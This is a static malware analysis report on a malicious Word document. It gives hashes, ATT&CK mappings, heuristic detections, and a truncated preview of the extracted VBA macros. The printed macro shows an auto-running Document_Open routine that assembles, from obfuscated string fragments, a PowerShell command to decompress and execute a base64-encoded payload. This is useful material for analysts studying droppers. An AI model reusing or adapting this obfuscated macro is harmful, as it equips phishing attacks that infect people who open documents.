Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a6af6325bafba634…

MALICIOUS

Office (OLE)

239.5 KB Created: 2018-07-10 07:05:00 Authoring application: Microsoft Office Word First seen: 2018-07-14
MD5: 8a74a9c47823c6423c4f185c6dfac969 SHA-1: f9d1a6bf9fbdf1bfccdb87be753afeb9cd0190c8 SHA-256: a6af6325bafba6343bb8e39ff465f0daf339c9cfb7bcd7119ea4e0d0597667c1
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function to execute commands. The script attempts to construct and execute a PowerShell command to download and run a second-stage payload from a hardcoded URL. This indicates a downloader or dropper functionality.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6606507-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6606507-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18635 bytes
SHA-256: 0c8101c21cbcd21dad39f34607a3cfe059c1b94dc9b65ef318572c46d84e8e78
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MIInMaPhhp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   BmEqi = cMsawK + VPRAWP + DREoIB + irzwl - rtJkrF + DuOCa - 43611 - jNSqb
   TjiPhj = wUviN + BcGjJ + KsIDB + lAbQY - UvIXJ + VJYjFa - 37662 - NBzEH
   URjirk = fVodHP + GhKAc + YhNqv + Icnuq - Ouvoh + ljGGdY - 64408 - CdkqwF
   wOEEN = tjkhM + uPRjfq + COHAV + QtzDv - hwQEoY + qwRzqq - 92647 - EmbhK
   iloNin = Kwcoqf + dLcLmz + kRQJZ + MGWVlv - NfPap + slVVC - 99943 - cbbwV
   jcAjBW = mZLPT + cuTOs + YifOvp + lcahQ - CczEB + ibXIO - 96975 - sRqls
wBQjiaZJajF ("" + fpLjjBvf + voJRLiSfLzti + NUJzQUjNn + OjEkHnBnUhu + DrPUARILIfv + wUYDJul + GDvXhzwCWh)
   ThPFP = HAcAX + jjnhd + hHIuHJ + XdqaR - TpUPq + omHsYZ - 11929 - kpkzX
   PwOJIR = fYANzB + LrWjK + hvOzE + vdfwzq - VjYJtB + zYBGpv - 42036 - mFfqX
End Sub


Attribute VB_Name = "prsYZFwr"
Function NUJzQUjNn()
On Error Resume Next
FFksR = KucoQ - 43645 - SQioLr * ZMASC + JwBnI + vLTEp - 83444 / SRqNfX
GjcXo = "po" + MSZwSRptESpwQ + ofsbbzLpzXYAi + "wer" + uqZTmiOMFi + zXBrCFwYzi + "she" + pAdbYtQHti + XzZKZSnzFZLRvf + "ll" + laWPFFdmFnoLNO + zBUFjmwjr + "  (" + QoLfsXVVT + uRTmFmic + " N" + tuRuLROzcpYRr + tHvostMEsHCltj + "eW" + PEWWttl + GVrWidZ + "-oB" + LiinqzjpZmJfU + nJMVqEAWO + "jEC" + XViJicjFVhTb + qEUwXamCbj + "T  " + EOkLIUFFZ + PIjwPzhU + "io." + wAzfXqHzVuzkNY + KZwWIwfzEq + "COm"
uPpZu = vcSlti - 52871 - shDEd * coPXk + scKHUA + nDGNBm - 35230 / AzPrQU
   WFtOqR = Nkfld - 95142 - EQHiv * jumIV + qzVCb + AfcQAk - 89205 / QEkfoV
QTZiOFw = "pRe" + bjrHaGz + upSSLRsqoGmTC + "s" + jcqAfUfm + fkIjMzHw + "S" + dShmzwZfAZjZR + zPwlVPCCLfj + "IoN" + bIiXqahO + DhuAlqY + ".D" + bGOiIKqca + HQNQDruLir + "eF"
CLvEa = RLmYO - 16873 - NaWNz * HwYwmT + wuvMXa + uLWNGQ - 25282 / EjiCF
YzfNRMKPu = "LaT" + YwjtqNiOJ + SXPZAnfJBDIGjl + "ESt" + oOkORGcXOohmhh + VSumpJh + "R" + DpNPrAHsTp + WfMusLMFtb + "E" + ElQqMEijVpNRPH + auNrHfzmirwwU + "aM(" + bVRLGkRfOLT + SvfkoZfzOcoZ + " [" + IUIjMMJlvzw + IOwjnbS + "IO." + MLJvdjNtclUG + GfHqXhzh + "MEm" + VWkPvBzTJV + WQjcYCVKvwzEsB + "o" + umnfXlZGwzza + znBKIrH + "r" + zMdcYWjX + MYWidZkqdj + "Y" + uWuzMCi + dzdqStJBjPaDE + "str"
llBVr = iNNFw - 22345 - wjqbLR * DArhu + owtJtA + VfNAU - 7735 / psPsX
   bFYkYA = OjrRHi - 48199 - ioBij * srKfb + tQzBqv + YGdzU - 75699 / kuwBmb
PiUoZAEzmLX = "eAm" + KIZaJbUluUaH + UELwwPTWpGHF + "]" + kzJTVCnl + qlAtSjtwv + " " + LjbczTnSST + JAvKHlOzj + "[" + FNPZDJNKJHmZS + WizSRzmVqsXVl + "sy" + HpqnVPktkJFI + XbcdROfz + "S"
tTsYj = nbwbzz / fLbmoP / (17842 / rrMTR / 91861 + UwCKYn + CWLNEV + JTIatw)
kPBPm = "TE" + qhHrCbfFPkv + YpYvlJE + "m.c" + LnihYDsYzbi + cRvrbrFw + "O" + WHuTBwLIlBO + JUDbMqlTch + "n" + HzthNUdrN + dkranTtTzG + "VER" + XYPtHiGuaiGu + aYjliGwuZ + "T]:" + QzAiNOGJNW + bVIGRzudzbVsVn + ":fr" + rocwYYqlFLM + klwQbEPVzjviNY + "omb" + HNaBiSZtLYD + AFmaiMqZcu + "AsE" + FrHjTLABJwzlSU + CFCBkwza + "64"
iLzCf = sFYbS / sMDiM / (4825 / BHJui / 45219 + rjMGr + YOcoBH + dtNwq)
   NqwGmw = HzZQU / IcMsSj / (72727 / djOcFj / 58423 + tNDki + BiGUv + QRDXh)
CWYtSQMZFm = "S" + hViHIzj + ijMozDMNkvwa + "TR" + zoYYLjqvbZca + wcjavwcniZQO + "inG" + whLbDijT + YZsiFnLYidQ + "('V" + YffKJFzH + jwuNBXqCdsIBV + "dB" + ivNsjNuoUnvYX + kSbkMkKZK + "fT" + bmPEWKZRaKlPN + KZaGzSiQHpal + "8I" + XVDrvlHY + kwGzCzDOH + "wFA" + lzDBWzWIOwZ + CpiYSqil + "Xw" + VALjNImL + imVzpYokP + "r7" + LRzvNRivQw + qiAKQIAbkwO + "KHJ" + TijtBtWGo + NlAqIPMVuJfQ + "oX" + YcPbjOCXi + vCODSWBYSziI + "gN" + UjtjGnRuj + GiFvfqGGI + "p" + zRcmisWQu + IOfJrYG + "A/" + WllLswc + XBBFHlcE + "M"
YYPjz = WqPWz / ArMrLj / (31358 / iQkJWS / 9698 + HtjnE + sbGCoL + FMPHp)
qOafw = "TR" + PZvnZaIoGMfvU + pLdDzlkJsE + "LCK" + DUBhRvJsUkz + jnAqIQBXqZ + "j" + zKHiQDjz + TEfNAKp + "MqE" + MwhPzkT + YFMvFVUkCNDjQ + "SdO" + iUvKvQqhpU + QvKtzUubs + "B5" + wKtPIczYwT + cpIoYhXX
... (truncated)

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